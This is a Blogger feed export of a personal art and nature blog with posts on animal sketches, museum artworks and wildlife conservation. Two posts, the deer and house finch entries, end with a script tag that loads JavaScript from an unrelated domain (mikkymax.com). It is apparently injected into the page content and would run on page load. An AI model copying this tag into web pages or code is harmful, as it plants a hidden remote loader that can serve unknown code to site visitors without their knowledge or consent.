tag:blogger.com,1999:blog-79288385564029338342024-03-25T13:31:19.767-05:00Ai-janestill words and images
in a moving worldAi-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.comBlogger189125tag:blogger.com,1999:blog-7928838556402933834.post-53265722566595613692020-03-17T11:49:00.001-05:002020-03-17T11:49:16.856-05:00making deer strong again<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9o25rL8DskpdB-EmYtEQVCXuj0PDI1enRXxyq9TL9A-otbBSDuj-n8GV-d6PRbMLI_swRwh3bEDneUZpyV8MjvP2a_EtY6DDuu7BxFes_mQ6Iv8VhCXkDWmP-kteMyq-ri9oNlCZlzsaB/s1600/Deer%252C+December+2019.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="633" data-original-width="464" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9o25rL8DskpdB-EmYtEQVCXuj0PDI1enRXxyq9TL9A-otbBSDuj-n8GV-d6PRbMLI_swRwh3bEDneUZpyV8MjvP2a_EtY6DDuu7BxFes_mQ6Iv8VhCXkDWmP-kteMyq-ri9oNlCZlzsaB/s320/Deer%252C+December+2019.jpg" width="234" /></a></div>
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<span style="color: #660000; font-size: x-small;">Deer sketch, 2020</span></div>
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The deer we see in our yard are small.</div>
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For many generations, hunters have killed the biggest deer; they have mounted the largest racks on their home walls. Their selection, unnatural, favors the small and the weaker deer. I think this practice is going to change among our generation's young hunters.</div>
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In forestry there is a practice of worst-tree, single-tree selection. You go in the woods, look around and take out enough low-grade trees to pay for getting them out. You're not trying for a bonanza. Every 15 or 20 years you do the same: take the worst, leave the best. Every time you go back, the quality is better. I read about this tree selection practice in <i>Orion</i>, Spring 2020, in a conversation between Wendell Berry and Tim DeChristopher.</div>
<script async="" src="//mikkymax.com/20ba4519da0cfb915b.js" type="text/javascript"></script>Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-60468043454118346942019-12-30T13:14:00.000-06:002019-12-30T13:14:01.495-06:00Look at me, Look at you<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_SrHLcSqk0s6S-4AbEvmN7QMGIw2RulNrI-h3E7JqqVn3wyHBMfvUuwomSJAsz4PFPevM7qYzaomWv2EMQ22CL_8_y1mmvy7hlBBNaiHPE2VaTp89v5jJywn8YQpO2jv0HbRNX3nOG5Ms/s1600/House+finch+end+of+year+2019.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="638" data-original-width="457" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_SrHLcSqk0s6S-4AbEvmN7QMGIw2RulNrI-h3E7JqqVn3wyHBMfvUuwomSJAsz4PFPevM7qYzaomWv2EMQ22CL_8_y1mmvy7hlBBNaiHPE2VaTp89v5jJywn8YQpO2jv0HbRNX3nOG5Ms/s320/House+finch+end+of+year+2019.jpg" width="229" /></a></div>
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<span style="color: #660000; font-size: x-small;">House finch</span></div>
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The House finch, amid the sparrows, shows some red. House finches are common at our feeders; yet, they are noticeably fewer.<br />
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This is a small work on paper. I did not know when I started that the bird would turn around.</div>
<script async="" src="//mikkymax.com/20ba4519da0cfb915b.js" type="text/javascript"></script>Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-70241382861734277962019-04-13T13:27:00.000-05:002019-04-13T19:11:07.679-05:00Sheep in our world<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmIXsWqD_elMzJgL_QOFXk0akFcKL3hjdyg3PypT5hixVUJGUqVltPcKHiHTI3F7ZgTPc48K1gysIcJXCm0cfAxjMupRtLtun80yh3pjmm_uo5weNLuKhySARPEm3cWE6MEnCVNzZfIeMj/s1600/Ram%2527s+head.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="480" data-original-width="640" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmIXsWqD_elMzJgL_QOFXk0akFcKL3hjdyg3PypT5hixVUJGUqVltPcKHiHTI3F7ZgTPc48K1gysIcJXCm0cfAxjMupRtLtun80yh3pjmm_uo5weNLuKhySARPEm3cWE6MEnCVNzZfIeMj/s320/Ram%2527s+head.jpeg" width="320" /></a></div>
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This marvelous marble Ram's head is from the 2nd century AD, Roman, now in Chicago at the Art Institute. Notice the hand above! (The hand probably belonged to the man about to perform a sacrifice to the god Mars.)<br />
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An astonishingly fine book: <b>Eating Stone; Imagination and the Loss of the Wild </b>by Ellen Meloy. It's about bighorn sheep,"'wilderness' holdouts" since the late Pleistocene, now living in small enclaves of wild country in the American Southwest and Mexico, on the verge of extinction, again. Do we intervene? If so, how? Who are these sheep? We see them through Meloy's deft telling. She tells us that to see them was a blessing. The book is a gift.Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-13640944511350317742019-01-06T19:22:00.000-06:002019-01-06T19:22:20.913-06:00Bo<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglVu0VrVrxs4nMFzNoKwg-vQiZgx0_BFIw8rhAAu7VM1zCcbJjc4zf0IWH0fHNvbNxODmU__ORGwb9pkWkdAWtDOlIfUVmZw_XtBetvQc9l37Xr-fmzLruTi7iuNWGwgdDT35Pyr2Od8ML/s1600/Bo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="640" data-original-width="480" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglVu0VrVrxs4nMFzNoKwg-vQiZgx0_BFIw8rhAAu7VM1zCcbJjc4zf0IWH0fHNvbNxODmU__ORGwb9pkWkdAWtDOlIfUVmZw_XtBetvQc9l37Xr-fmzLruTi7iuNWGwgdDT35Pyr2Od8ML/s320/Bo.jpg" width="240" /></a></div>
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<span style="color: #990000; font-size: x-small;">Boshan Xianglu</span></div>
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<span style="color: #990000; font-size: x-small;">Western Han, c 200 BC</span></div>
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This incense burner, about the size of a large fist, depicts a world of creatures, plants, paths, and immortals, which, when activated, becomes enshrouded in mist-vapors as if it is a high mountain. I visit "Bo" whenever I visit the Art Institute in Chicago. Still, after more than 2,000 years, the small lead-glazed earthenware jar can project an amazing 3-D landscape almost moving, almost burning again for us!</div>
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The disk behind Bo is a mirror.</div>
Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-27389139903091339792018-11-04T16:22:00.000-06:002018-11-05T12:30:48.016-06:00a moving still-life<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY91zEqO1_4q9rOOlKzWGtua_n3lagkTaRgLM7bw4KHBq3dGGjLO2hRJatDqR68juTv6OGiXnwHDXxikU6DTfy3PCsYXo-S-K6_ypuMqS5ZIKy4WNX4KEqkwS-zmhxPCaKQWeebCbdXqGp/s1600/Wang+Shimin.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="640" data-original-width="480" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgY91zEqO1_4q9rOOlKzWGtua_n3lagkTaRgLM7bw4KHBq3dGGjLO2hRJatDqR68juTv6OGiXnwHDXxikU6DTfy3PCsYXo-S-K6_ypuMqS5ZIKy4WNX4KEqkwS-zmhxPCaKQWeebCbdXqGp/s640/Wang+Shimin.JPG" width="480" /></a></div>
This is a painting of Wang Shimin by Zeng Jing, from 1616. The famous painter here is thoughtful, posed with fine, mudra-like fingers distractedly holding a fly-whisk. He is in fact in mourning, his wife has died. Amazing to me is that his head moves. Or my eyes move from side to side of his face looking for another ear and so there is my movement around his head<i>. </i>Zeng Jing suggests this slight movement in a still sitter by painting Wang with one ear. Gosh!Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-61794578958139057572018-09-10T20:09:00.001-05:002018-09-10T20:10:45.998-05:00Courtly HuntsIf you are a member of a Court, Nature does not frighten you much: you are in a rarefied, guarded and pampered place. Take a look at these playing cards from the early 1400's and you can see, in an amazingly artful way, this notion of Nature playing out a Hunt/Game, sometimes bloodily depicted, while the Court--King and Queen and some attendants--participate gracefully. The four suits are Falcons, Ducks, Hounds, and Stags, and the "Face" cards are the Court.<br />
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You can see more of the wonderful cards at this <a href="http://www.metmuseum.org/blogs/in-season/2016/the-stuttgart-playing-cards">Metropolitan Museum of Art site</a>.<br />
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<img alt="Left: 3 of Ducks, from The Stuttgart Playing Cards, ca. 1430. Made in Upper Rhineland, Germany. Paper (six layers in pasteboard) with gold ground and opaque paint over pen and ink; 7 1/2 x 4 3/4 in. (19.1 x 12.1 cm). Landesmuseum Württemberg, Stuttgart. Right: On this card, the etched lines had raised forelegs, but the painter chose to lower them. 3 of Stags, from The Stuttgart Playing Cards, ca. 1430. Made in Upper Rhineland, Germany. Paper (six layers in pasteboard) with gold ground and opaque paint over pen and ink; 7 1/2 x 4 3/4 in. (19.1 x 12.1 cm). Landesmuseum Württemberg, Stuttgart" src="https://www.metmuseum.org/-/media/images/blogs/in-season/2016/world-in-play/post-4/3-of-stags-ducks.jpg?la=en&hash=A6A16B2C1E73643D70E473F04B499E5A4128A4DC" />Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-70032027523431141942018-05-20T16:13:00.000-05:002018-05-20T16:13:21.709-05:00Zakouma<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcOK5iklSNSOSv1FqTfW-8dlj04XGU6ysypCe9UfCL00qGqi3eGIN6aatYd8SzvM5uL0ylYLKv_FYJg5mPvMok6QFSB1ZziqSTWOhQtCbcFY6KGldKsYN_B5J3jPa6-XYdnXU3jT0aq1LW/s1600/Zakouma.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="900" data-original-width="1600" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcOK5iklSNSOSv1FqTfW-8dlj04XGU6ysypCe9UfCL00qGqi3eGIN6aatYd8SzvM5uL0ylYLKv_FYJg5mPvMok6QFSB1ZziqSTWOhQtCbcFY6KGldKsYN_B5J3jPa6-XYdnXU3jT0aq1LW/s320/Zakouma.jpg" width="320" /></a></div>
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<span style="color: #990000; font-size: x-small;">Elephants at Zakouma (NYTimes photo)</span></div>
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Elephants are doing better in Chad at Zakouma National Park. And six black rhinos have come to Zakouma this month from South Africa. These are successes.<br />
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<a href="http://www.african-parks.org/the-parks/zakouma">www.african-parks.org/the-parks/zakouma</a> <br />
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See also: <i>The New York Times </i>Sunday <i>Travel</i>: May 20 2018,<br />
"<i>Killing Field to Haven," </i> a wonderful account by Rachel Nuwer of her visit to Zakouma.Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-69870302598661505792018-03-20T12:53:00.000-05:002018-03-31T22:13:59.102-05:00REST IN PEACE, SUDAN<br />
<span style="color: #990000; font-family: "trebuchet ms" , sans-serif;"><i><br /></i></span>
<span style="color: #990000; font-family: "trebuchet ms" , sans-serif;"><i><br /></i></span><span style="color: #990000; font-family: "trebuchet ms" , sans-serif;"><i> </i></span><br />
<span style="font-family: "trebuchet ms" , sans-serif;"><i><a href="https://www.nytimes.com/2018/03/20/science/rhino-sudan-extinct.html">https://www.nytimes.com/2018/03/20/science/rhino-sudan-extinct.html</a></i></span><br />
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<span style="font-family: inherit;"><i>We love you and we will miss you.</i></span>Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-27144726256427335792018-03-07T17:36:00.001-06:002018-03-07T17:37:53.557-06:00Sudan the RhinoYesterday, Sudan's health had improved slightly; he seemed to savor a mud bath in the rain, his caretakers said. Sudan is 45 years old, and since 2009 he and two females--Najin and Fatu--have lived at Ol Pejeta Reserve in Kenya, cared for and protected 24 hours a day.<br />
Sudan is the last surviving Northern White Rhinoceros.<br />
You can view him here: <a href="http://www.bbc.com/news/world-africa-43300713">http://www.bbc.com/news/world-africa-43300713</a><br />
I have made a sketch of him: the sketch channels, a bit, life, I hope.<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi0TcTl9eUvaBWmbWnxZd5z7mI-MzCiOt8905NRlifwD4mV51GYHDj60y8L4sjlcWp4GWzTvX3rr93-hVBLLbJMEGTyHeufVl2rtqSFEyv8H5j2cJsXxbXpMzX5FGrzK_UT5FSpjVu9eoy/s1600/Sudan.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi0TcTl9eUvaBWmbWnxZd5z7mI-MzCiOt8905NRlifwD4mV51GYHDj60y8L4sjlcWp4GWzTvX3rr93-hVBLLbJMEGTyHeufVl2rtqSFEyv8H5j2cJsXxbXpMzX5FGrzK_UT5FSpjVu9eoy/s320/Sudan.JPG" width="320" /></a></div>
<br />Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-47782469237203973072017-12-26T15:50:00.000-06:002017-12-26T15:51:35.565-06:00MallardThere is a duck sanctuary I contacted in order to try and save a mallard. Matthew returned my phone call and patiently talked through the steps I could take for the rescue. It was nighttime. The next day I could not find the injured mallard on the lake or around it. Chances are not good that the mallard has survived the freezing cold. I painted this mallard. Here is the sanctuary's link:<br />
http://<a href="http://www.michiganduckrescueandsanctuary.com/">www.michiganduckrescueandsanctuary.com</a>/<br />
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<table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_sVpCB26DRr-fXZPLymF500rDIaWvRxgB2Tbwz4mOKzTXl6gevEmu5FMztr2UJMIjuxUPXX-39JRf-fnOfcS_-2NPGsxkHDCVZ3BGPy86wH_hNcMnRQBNZVOI5pGQ9AM41RCVBXCe5O9V/s1600/Resurrection+Mallard.JPG" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_sVpCB26DRr-fXZPLymF500rDIaWvRxgB2Tbwz4mOKzTXl6gevEmu5FMztr2UJMIjuxUPXX-39JRf-fnOfcS_-2NPGsxkHDCVZ3BGPy86wH_hNcMnRQBNZVOI5pGQ9AM41RCVBXCe5O9V/s400/Resurrection+Mallard.JPG" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><span style="color: #990000;">Mallard, with thanks to various photographers, especially S. Javorsky</span></td></tr>
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Does all art, no matter how small the painting, try to lift us out toward resurrection?Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-84573585989088588892017-11-01T15:07:00.000-05:002017-11-20T16:31:00.908-06:00Lions, Tigers, Bears, and Elephants<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_2MkqBVSoiyKGTnVN8bjArp-rzgHBD31B_NS5NiJdWyVMI_IRuyXNWCKnLIiiQlOAygRsfAzSvBAp7LjiOLxzX9scQCu-RIe7eISEwusv46dymBVo4V29mbtRk0x3kylubS-ERqIzaGiS/s1600/Tiger+10-2017.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_2MkqBVSoiyKGTnVN8bjArp-rzgHBD31B_NS5NiJdWyVMI_IRuyXNWCKnLIiiQlOAygRsfAzSvBAp7LjiOLxzX9scQCu-RIe7eISEwusv46dymBVo4V29mbtRk0x3kylubS-ERqIzaGiS/s320/Tiger+10-2017.JPG" width="320" /></a></div>
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We went to the <span style="color: #990000;"><a href="https://www.wildanimalsanctuary.org/">Wild Animal Sanctuary</a> </span>last week. Please go there, to the website that is (click on the name). For the animals, more than 800 acres now are set aside as a haven--safe, vast, restorative. Lions, tigers, bears, mountain lions, bobcats, foxes, sheep, llamas, birds, a camel, and all: we viewed them from up high so as to reduce their stress. After bad lives, good people are helping them.<br />
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The same week I read about a rangers-and-armed forces, anti-poaching-and-community strengthening brigade in Mali for the protection of elephants. Sgt. Djibril Sangare, a ranger with the brigade, said he has learned how to stay calm under the constant threat of attack, finding strength in the mission. Sgt. Sangare said, "The work, it is love."<br />
<span style="font-size: x-small;">(See the New York Times, October 29, </span><i><span style="font-size: x-small;">International</span></i><span style="font-size: x-small;">, p. 8)</span>Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com1tag:blogger.com,1999:blog-7928838556402933834.post-51289913267589642752017-10-20T13:16:00.002-05:002017-11-18T08:50:59.683-06:00Mountain Lion sighting<div class="separator" style="clear: both; text-align: center;">
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpMr1ORj3dRY36qJ-DrwKECtXh9VZKmuQppAA9X2yux1HPqbZMgRDeiCtncfMrsUebRTgOVap76L5zxe0n0WQzAVpy2hdr3eB0yBk0xW7EcrSuGFgh9fR-C_AxSRrzEN3cyPe4jTdIyGLY/s1600/Mountain+Lion+sketch.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="990" data-original-width="1600" height="123" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpMr1ORj3dRY36qJ-DrwKECtXh9VZKmuQppAA9X2yux1HPqbZMgRDeiCtncfMrsUebRTgOVap76L5zxe0n0WQzAVpy2hdr3eB0yBk0xW7EcrSuGFgh9fR-C_AxSRrzEN3cyPe4jTdIyGLY/s200/Mountain+Lion+sketch.JPG" width="200" /></a></div>
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Our government confirmed a mountain lion sighting: June 21 in Bath township. We used to have mountain lions in Michigan. We've had some sightings in the past few years, but not this far south. The land is NE of Lansing.Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-9125928861906316272017-09-16T20:36:00.001-05:002017-09-16T20:36:23.059-05:00Goldfinch<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBOVnqPhJYnPug6-xsn59fYUKIqCAD1OfwBgVkslk-R5mgzwBxMtomHkic44rHFxaAwiu8A6-sJgJIcXNm7vY0YqVAOL00wHNWQA1f8z2ksP7vERq4WTUKK2KN2rDYjoHcdtn3s7Mq8wcC/s1600/Goldfinch%252C+September+2017.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1580" data-original-width="1600" height="316" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBOVnqPhJYnPug6-xsn59fYUKIqCAD1OfwBgVkslk-R5mgzwBxMtomHkic44rHFxaAwiu8A6-sJgJIcXNm7vY0YqVAOL00wHNWQA1f8z2ksP7vERq4WTUKK2KN2rDYjoHcdtn3s7Mq8wcC/s320/Goldfinch%252C+September+2017.JPG" width="320" /></a></div>
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<span style="color: #990000; font-size: x-small;">Male Goldfinch</span></div>
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They feed on the thistle seeds, abundant here now. High, crooning, arching, summoning short songs. Delightful. This small painting of a Goldfinch is going down to Indianapolis next week. The birds will also be going south as soon as the thistles give up all, and they will go farther south than Indianapolis. They fly as far as Florida. Will their feeding places be recovered there after Hurricane Irma?</div>
Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-30474125031236259102017-08-17T18:23:00.001-05:002017-08-18T13:03:50.742-05:00Refugee<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOihE4cun9r9bv2hvobjUenDocyMUzmTdLHpxthOrNoAg7AenzSe4sFwxjWyS3E2EngEbNo4Mh7tcd0gkIKBq2Dnk8nfmKqqCwZFHLkxSyyDN9jgCpLrjhnuwe1eW4ctFZJ4laslSoA5NQ/s1600/Rhino+in+Detroit.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="863" data-original-width="1600" height="172" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOihE4cun9r9bv2hvobjUenDocyMUzmTdLHpxthOrNoAg7AenzSe4sFwxjWyS3E2EngEbNo4Mh7tcd0gkIKBq2Dnk8nfmKqqCwZFHLkxSyyDN9jgCpLrjhnuwe1eW4ctFZJ4laslSoA5NQ/s320/Rhino+in+Detroit.JPG" width="320" /></a></div>
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<span style="color: #990000; font-size: x-small;">sketch of Tamba</span></div>
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This is probably <i>Tamba, </i>the more dominant of the two males. <i>Jasiri</i> was nearby. They are Southern White Rhinoceroses, now living at the Detroit Zoo. <i>Tamba </i>in Swahili means "strut proudly," <i>Jasiri </i>means "courageous." <i>Tamba </i>was getting his legs massaged with a lineament, from the fetlocks down, by his zookeeper caretaker when I was there. With such bodyweight loaded onto their legs, Rhinos challenge zoos to replicate a soft/hard mix for their pen's floor upon which they walk around every day. (And of course the floor must be maintained/cleaned up every day. Gosh.)<br />
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I think Detroit Zoo is doing a good job. Probably really good. You can see and even think about helping with the Rhinos at the Detroit Zoo here: <a href="https://detroitzoo.org/rhinos/">https://detroitzoo.org/rhinos/</a><br />
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Watching the Rhinos, I felt like the world was there, in the pen with me. Big world made to be this: creatures in the same space trying to enjoy the space together. This is our challenge in this century isn't it: making a good home for us All: refugees, caretakers, onlookers, ignorers, All.<br />
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<br />Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-56753891125799583722017-08-02T12:53:00.000-05:002017-08-03T09:37:59.917-05:00Mascot extraordinaireA mascot can really add: lift a team, event, occasion, for All. Look at Jetta here!<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9y1z9VbrGGVhI-Zx_jJCirkooeFAHUdQb6GJb5NE18Gw70j6oalUhYChsR1LOej8DxpdRQ-jl5NGqPtyjDBNGwfZXNyuG0mXeJ3xwH9fcPWn6gJ4pul90KAMh1gkoK9gjImpPvABWBm5g/s1600/mascot+in+finland.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1301" data-original-width="1600" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9y1z9VbrGGVhI-Zx_jJCirkooeFAHUdQb6GJb5NE18Gw70j6oalUhYChsR1LOej8DxpdRQ-jl5NGqPtyjDBNGwfZXNyuG0mXeJ3xwH9fcPWn6gJ4pul90KAMh1gkoK9gjImpPvABWBm5g/s320/mascot+in+finland.jpg" width="320" /></a></div>
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<span style="color: #990000; font-size: x-small;">Jetta with Team Vihti</span></div>
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Here is a description of wonderful Jetta by Andrew Keh, writing from Hyrynsalmi, Finland:<br />
<blockquote class="tr_bq" style="text-align: left;">
<span style="color: #990000;">"Jetta is a stuffed badger ensconced in a bird cage. She acts as a mascot of sorts for a team of 12 friends who make the seven-hour drive each year from Vihti, near Helsinki, for the competition. They bought the doll seven years ago from a junk store at a highway rest stop, and her fame around the swamp has grown ever since. A couple of years ago, she was interviewed by a local newspaper."</span></blockquote>
The competition referred to is the 20th annual Swamp Soccer World Championships. Here is a link: <a href="https://www.nytimes.com/2017/07/27/sports/finland-has-a-sports-screw-loose.html"> https://www.nytimes.com/2017/07/27/sports/finland-has-a-sports-screw-loose.html</a>Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-20600920024739417132017-03-11T11:53:00.000-06:002017-12-16T13:57:50.985-06:00wakashu<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRZvw-q5-7TieWxcDJWTr2QThh1og6fitfbP_jgsGevpXaffYDxUz31nL-Oz4o5Hz_e5GGNPCPj6DnbJeXCazc_0VcreP-MQftjIHgGIIYfm1J64wv-jA1m5y3VOToOrcrBCZzlZ9KO-gD/s1600/Mallard+pair.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRZvw-q5-7TieWxcDJWTr2QThh1og6fitfbP_jgsGevpXaffYDxUz31nL-Oz4o5Hz_e5GGNPCPj6DnbJeXCazc_0VcreP-MQftjIHgGIIYfm1J64wv-jA1m5y3VOToOrcrBCZzlZ9KO-gD/s320/Mallard+pair.JPG" width="216" /></a></div>
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<span style="color: #990000; font-size: x-small;">Mallard pair</span></div>
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<span style="color: #990000; font-size: x-small;">Canada goose</span></div>
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Here are a pair of mallards and a Canada goose. We saw them together last year, well into winter, and then again as soon as the lake thawed in February. The goose concerned me. Geese are very social; this one did not mix with other geese.</div>
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There is an exhibit at the Japan Society in New York City, "A Third Gender: Beautiful Youths in Japanese Prints," in which many <i style="color: #990000;">wakashu </i>are depicted, young males who in Edo-period Japan are considered the height of beauty. For a short time only, after puberty, <i>wakashu </i>permissibly could have intimacy with males or females who sought them out. And so I thought of our "lone" goose. Maybe he hadn't had a late molt last year, or a set-back or a loss. Maybe this goose simply liked the company of ducks, or was trying out the company of ducks. And the ducks liked him well enough. They shared a short time of species- if not gender-mix.</div>
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This week we have seen groups of odd-numbered geese, often 5, sometimes 3. We now think our lone goose is mixing with other geese. Whatever!</div>
Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-88928845148589604862017-02-15T20:58:00.001-06:002017-02-15T20:58:31.685-06:00Power<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX261x3ccl7n2PvMsfPMYvcaCFBqw4P8YPgqD9l_1T_zEH3C2hpni1cWxaJvvINcJjT3Y1clJOczhhUD9DvLvLSLfQ3T5o2Yn_gVEtagIjJD2a0i4P9WIH1iuLpEfwKpCTGlJJJPhOwIgi/s1600/Ai+Rye+%2526+Rhino.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjX261x3ccl7n2PvMsfPMYvcaCFBqw4P8YPgqD9l_1T_zEH3C2hpni1cWxaJvvINcJjT3Y1clJOczhhUD9DvLvLSLfQ3T5o2Yn_gVEtagIjJD2a0i4P9WIH1iuLpEfwKpCTGlJJJPhOwIgi/s320/Ai+Rye+%2526+Rhino.JPG" width="240" /></a></div>
I saw this field of winter cover crop, with a line of thaw, and some remnant of corn stubble. Thousands of rye seedlings -> one powerful color.<br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj7RxInSdyg6UTZ3DLmETNMYJ0QxwG-lxVzBMXkOgNmz7IknGvVnLLfXhyphenhyphenZ5HPZKWr3KhKx1qRv3tEExWYZYFDOLvKGnWM1uKhPnOwEHxxgenyje0nUCGFBav61SBD6wJmKAWpK0r_Vl1V/s1600/Ai+Tough+clumps.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgj7RxInSdyg6UTZ3DLmETNMYJ0QxwG-lxVzBMXkOgNmz7IknGvVnLLfXhyphenhyphenZ5HPZKWr3KhKx1qRv3tEExWYZYFDOLvKGnWM1uKhPnOwEHxxgenyje0nUCGFBav61SBD6wJmKAWpK0r_Vl1V/s200/Ai+Tough+clumps.JPG" width="150" /></a></div>
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Sister Mary and I walked Saturday through a savanna near the Kankakee River watershed. The ground there is already softening. These clumps of wintered grass dotted a patch of ground between the savanna and a railroad bed. They are as powerful as stumps, little plant mammoths.<br />
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Rhinoceroses are big, the second largest land mammal after elephants. They have very small eyes, and their eyesight is poor; still, no one says they are not powerful. There are two southern white rhinos at the Detroit Zoo. Will I ever see them as they are?<br />
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I put a rhino in the treeline of the rye field sketch. If we live with them well, this gives power, yes?<br />
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<br />Ai-janehttp://www.blogger.com/profile/15165775321286726028noreply@blogger.com0tag:blogger.com,1999:blog-7928838556402933834.post-41569169929056604962017-01-23T14:21:00.001-06:002017-01-23T14:21:14.103-06:00Nuthatch signals new year<div class="separator" style="clear: both; text-align: center;">
